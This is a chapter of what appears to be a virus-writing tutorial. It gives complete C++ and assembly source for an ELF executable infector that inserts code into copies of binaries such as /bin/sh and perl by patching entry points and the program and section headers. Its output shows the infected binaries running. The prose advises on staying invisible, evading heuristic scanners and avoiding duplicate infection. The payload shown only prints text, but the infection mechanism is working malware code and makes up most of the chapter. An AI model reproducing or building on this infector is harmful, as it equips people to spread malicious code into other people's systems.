6. One step closer to the edge

 

Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.

 Darth Vader

This chapter is about a first stage infector. A program that inserts our code into any executable we specify on the command line.

This code could easily be squeezed into a single function. But for clarity I split it into parts that manipulate a central data structure. And just for the hell of it I coded it in C++. This way I can present the pieces in random order.

Source: src/one_step_closer/target.h
class Target
{
public:
  Target(const char* filename);
  ~Target();
  bool isOpen() { return fd_dst != -1; }
  bool isSuitable();
  unsigned newEntryAddr();
  bool patchEntryAddr();
  bool patchPhdr();
  bool patchShdr();
  bool copyAndInfect();
  unsigned writeInfection(); // returns number of written bytes

private:
  enum { INFECTION_SIZE = 0x1000 };
  static const unsigned char infection[];

  int fd_dst; /* opened write-only */
  int fd_src; /* opened read-only */

  off_t filesize;
  unsigned aligned_filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;

  /* offset to first program header (in file) */
  Elf32_Phdr* phdr;
  
  /* offset to first byte after code segment (in file) */
  unsigned end_of_cs;
  unsigned aligned_end_of_cs;

  /* start of host code (in memory) */
  unsigned original_entry;
};

/* align up to multiple of 16 */
inline unsigned alignUp(unsigned n) { return (n + 15) & ~15; }

6.1. INFECTION_SIZE

The value of INFECTION_SIZE exceeds actual code size by far. But it is the only amount that works. The reason for this is buried in the ELF specification.

[…] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]

Let's take another look at the output of readelf. Above quote means that the last three digits of Offset must equal the last three digits of VirtAddr. This is the case for every program header. So unless we change VirtAddr as well (which means relocation of every access to a global variable), we are stuck with 0x1000.

Maximum code size is further restricted by alignment. The i386 and descendants can execute misaligned code, though with a performance penalty. alignUp will take at most 15 bytes.

6.2. Target::infection

Up to now our code is intended to be stand-alone. The obvious fix is to replace the call to exit(2) with a jmp. But I think it's a better idea to let our code end with an unsuspiciuos ret instead. And we can put the matching push at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.

The last line of assembler code is used to specify the offset to the location to patch with the original entry address. This definition is used by function writeInfection below. But it really is a property of Target::infection. Having it in a separate file enables independent changing of infection code.

Source: src/one_step_closer/i1/infection.asm
		BITS 32
start:		push	dword 0		; replace with original entry address
		pushf
		pusha

		push	byte 4
		pop	eax		; eax = 4 = write(2)
		xor	ebx,ebx
		inc	ebx		; ebx = 1 = stdout
		mov	ecx,0x08048001	; ecx = magic address
		push	byte 3
		pop	edx		; edx = 3 = three characters
		int	0x80

		popa
		popf
		ret

		push	byte start + 1	; dummy instruction to specify ofs

Command: src/one_step_closer/infection.sh
#!/bin/sh
dst=$1
shift
project=${dst#${OUT}/}
project=${project%/*}

nasm -f bin src/${project}/infection.asm \
	-o ${TMP}/${project}/infection \
&& ndisasm -U ${TMP}/${project}/infection \
| src/evil_magic/ndisasm.pl \
	"-identfier=Target::infection" \
	"-last_line_is_ofs=" \
	"$@" > ${dst}

We reuse the filter from Dressing up binary code. The __attribute__ clause clause is explained in A section called .text. This example works without.

Output = Source: out/redhat-linux-i386/one_step_closer/i1/infection.inc
const unsigned char Target::infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
  0x68,0x00,0x00,0x00,0x00,      /* 00000000: push dword 0x0       */
  0x9C,                          /* 00000005: pushf                */
  0x60,                          /* 00000006: pusha                */
  0x6A,0x04,                     /* 00000007: push byte +0x4       */
  0x58,                          /* 00000009: pop eax              */
  0x31,0xDB,                     /* 0000000A: xor ebx,ebx          */
  0x43,                          /* 0000000C: inc ebx              */
  0xB9,0x01,0x80,0x04,0x08,      /* 0000000D: mov ecx,0x8048001    */
  0x6A,0x03,                     /* 00000012: push byte +0x3       */
  0x5A,                          /* 00000014: pop edx              */
  0xCD,0x80,                     /* 00000015: int 0x80             */
  0x61,                          /* 00000017: popa                 */
  0x9D,                          /* 00000018: popf                 */
  0xC3                           /* 00000019: ret                  */
};
enum { ENTRY_POINT_OFS = 0x1 };

6.3. main

Nothing special here. Though you could object to the use of fprintf(3) instead of cerr. But then perror(3) is the only other type of diagnostic message you will find below.

Source: src/one_step_closer/main.inc
int main(int argc, char** argv)
{
  char** pp = argv;
  const char* p;
  while(0 != (p = *++pp))
  {
    fprintf(stderr, "Infecting copy of %s... ", p);
    Target target(p);
    if (target.isOpen()
	&& target.isSuitable()
	&& target.patchEntryAddr()
	&& target.patchPhdr()
	&& target.patchShdr()
	&& target.copyAndInfect()
    )
      fprintf(stderr, "Ok\n");
  }
  return 0;
}

6.4. The opening

Modifying a file in place, as opposed to writing a copy, is possible but difficult. And between first and final modification contents of the target is invalid. Imagine a worst-case scenario of a virus infecting /bin/sh being interrupted through a power failure (or emergency shutdown of a hectic admin).

There are a few approaches to change a file while copying.

Using MAP_PRIVATE for argument flags of mmap(2) activates copy-on-write semantics. You can read and write as if you had chosen the read-in-one-go method, but the implementation is more efficient. Unmodified pages are loaded directly from the file. On low memory conditions these pages can be discarded without saving them in swap-space.

Source: src/one_step_closer/ctor.inc
Target::Target(const char* src_filename)
: fd_dst(-1), fd_src(-1)
{
  const char* base = strrchr(src_filename, '/');
  std::string dst_filename((base == 0) ? src_filename : base + 1);
  dst_filename += "_infected";

  fd_src = open(src_filename, O_RDONLY);
  if (fd_src >= 0)
  {
    filesize = lseek(fd_src, 0, SEEK_END);
    if ((off_t)-1 != filesize)
    {
      aligned_filesize = alignUp(filesize);
      p.v = mmap(0, filesize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd_src, 0);
      if (MAP_FAILED != p.v)
      {
        fd_dst = open(dst_filename.c_str(),
	  O_WRONLY | O_CREAT | O_TRUNC, 0775);
	if (fd_dst >= 0)
	  return;
	perror("open");
      }
      else
	perror("mmap");
    }
    else
      perror("lseek");
  }
  else
    perror("open");
}

Source: src/one_step_closer/dtor.inc
Target::~Target()
{
  if (p.v != 0)
    munmap(p.v, filesize);
  close(fd_src);
  close(fd_dst);
}

6.5. isSuitable

A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected.

On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus.

Source: src/one_step_closer/suitable.inc
bool Target::isSuitable()
{
  enum
  {
    CMP_SIZE_1 = offsetof(Elf32_Ehdr, e_entry),
    CMP_SIZE_2 = offsetof(Elf32_Ehdr, e_shentsize)
    - offsetof(Elf32_Ehdr, e_flags)
  };
  Elf32_Ehdr* self = (Elf32_Ehdr*)0x8048000;
  Elf32_Phdr* self_phdr = (Elf32_Phdr*)((char*)self + self->e_phoff);
  phdr = (Elf32_Phdr*)(p.b + p.ehdr->e_phoff);

  if (0 != memcmp(&p.ehdr->e_ident, &self->e_ident, CMP_SIZE_1))
    return false;
  if (p.ehdr->e_phoff != self->e_phoff)
    return false;
  if (0 != memcmp(&p.ehdr->e_flags, &self->e_flags, CMP_SIZE_2))
    return false;

  /* the type of these headers must be PT_LOAD */
  if (phdr[2].p_type != self_phdr[2].p_type)
    return false;
  if (phdr[3].p_type != self_phdr[3].p_type)
    return false;

  /* a code segment with trailing 0-bytes makes no sense, anyway */
  if (phdr[2].p_filesz != phdr[2].p_memsz)
    return false;

  end_of_cs = phdr[2].p_offset + phdr[2].p_filesz;
  aligned_end_of_cs = alignUp(end_of_cs);

  return true;
}

6.6. Patch entry address

Without this function the behavior of the target is not modified. This can be used for vaccination, in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

Source: src/one_step_closer/e1/patch_entry_addr.inc
bool Target::patchEntryAddr()
{
  original_entry = p.ehdr->e_entry;
  p.ehdr->e_entry = newEntryAddr();
  return true; /* this implementation can't fail */
}

Source: src/one_step_closer/new_entry_addr.inc
unsigned Target::newEntryAddr()
{
  /* matches with aligned_end_of_cs */
  return alignUp(phdr[2].p_vaddr + phdr[2].p_filesz);
}

6.7. Patching program headers

Another important issue is avoidance of multiple infections. It might take a while until increased file size gets noticed. But imagine a /bin/sh infected with a few dozen instances of the same virus. The runtime overhead of all these instances trying to find and infect other executables (either sequentially or in parallel forked processes) will significantly slow down every single shell script.

Obviously any presence indicator can be used by heuristic scanners. My recommendation is to use an innocent property that could also be matched by regular executables. It is not a problem if your checking routine rejects some suitable targets.

For this example I just declare a bug to be a feature. Since INFECTION_SIZE is required to be 0x1000 bytes, a duplicate infection is impossible by design.

Source: src/one_step_closer/patch_phdr.inc
bool Target::patchPhdr()
{
  /* distance between code and data segment (in memory) */
  size_t delta = phdr[3].p_vaddr - phdr[2].p_vaddr - phdr[2].p_memsz - 1;
  if (delta < INFECTION_SIZE)
    return false;

  phdr[2].p_filesz += INFECTION_SIZE;
  phdr[2].p_memsz += INFECTION_SIZE;

  Elf32_Phdr* entry = phdr;
  for(unsigned nr = p.ehdr->e_phnum; nr > 0; nr--, entry++)
  {
    if (entry->p_offset > end_of_cs)
      entry->p_offset += INFECTION_SIZE;
  }
  return true;
}

6.8. Patching section headers

This part is not strictly required. The resulting executable works without. But readelf(1) will bitterly complain. And strip(1) will break infected executables if not every byte of code is accounted for in some section.

Source: src/one_step_closer/patch_shdr.inc
bool Target::patchShdr()
{
  Elf32_Shdr* shdr = (Elf32_Shdr*)(p.b + p.ehdr->e_shoff);
  for(unsigned nr = p.ehdr->e_shnum; nr > 0; nr--, shdr++)
  {
    if (shdr->sh_offset > end_of_cs)
    {
      /* move all following sections down */
      shdr->sh_offset += INFECTION_SIZE;
    }
    else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
    {  
      /* increase length of last section of code-segment (.rodata) */
      shdr->sh_size += INFECTION_SIZE;
    }
  }
  p.ehdr->e_shoff += INFECTION_SIZE;
  return true; /* this implementation can't fail */
}

6.9. Copy & infect

Source: src/one_step_closer/copy_and_infect.inc
bool Target::copyAndInfect()
{
  write(fd_dst, p.b, end_of_cs); // first part of original target
  lseek(fd_dst, aligned_end_of_cs, SEEK_SET);

  unsigned code_size = writeInfection();
  fprintf(stderr, "wrote %u bytes, ", code_size);
  lseek(fd_dst, end_of_cs + INFECTION_SIZE, SEEK_SET);

  /* rest of original target */
  write(fd_dst, p.b + end_of_cs, filesize - end_of_cs);
  return true;
}

6.10. writeInfection

Source: src/one_step_closer/write_infection.inc
unsigned Target::writeInfection()
{
  /* first byte is the opcode for "push" */
  write(fd_dst, infection, ENTRY_POINT_OFS);

  /* next four bytes is the address to "ret" to */
  write(fd_dst, &original_entry, sizeof(original_entry));

  /* rest of infective code */
  enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
  write(fd_dst, infection + REST_OFS, sizeof(infection) - REST_OFS);

  return sizeof(infection);
}

6.11. Off we go

Command: src/one_step_closer/cc.sh
#!/bin/sh 
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}

g++ -Wall -O2 -g \
	-I src/one_step_closer/${entry_addr} \
	-I ${OUT}/${project}/${infection} \
	-o ${TMP}/${project}/${entry_addr}${infection}/infector \
	src/${project}/*.cxx \
&& cd ${TMP}/${project}/${entry_addr}${infection} \
&& ./infector /bin/tcsh /usr/bin/perl /usr/bin/which /bin/sh

Output: out/redhat-linux-i386/one_step_closer/e1i1/cc
Infecting copy of /bin/tcsh... wrote 26 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 26 bytes, Ok
Infecting copy of /usr/bin/which... wrote 26 bytes, Ok
Infecting copy of /bin/sh... wrote 26 bytes, Ok

A simple shell script will do as test.

Command: out/redhat-linux-i386/one_step_closer/test-e1i1.sh
#!tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
echo $BASH
echo $BASH_VERSION
which which
tmp/redhat-linux-i386/one_step_closer/e1i1/which_infected which
tmp/redhat-linux-i386/one_step_closer/e1i1/tcsh_infected -fc 'echo $version'
tmp/redhat-linux-i386/one_step_closer/e1i1/perl_infected -v | head -2
echo
strip	tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected \
	-o tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected \
&& tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected --version

Output: out/redhat-linux-i386/one_step_closer/test-e1i1
ELF/home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
2.05.8(1)-release
/usr/bin/which
ELF/usr/bin/which
ELFtcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF
This is perl, v5.6.1 built for i386-linux

ELFGNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc.

The Force is strong with this one.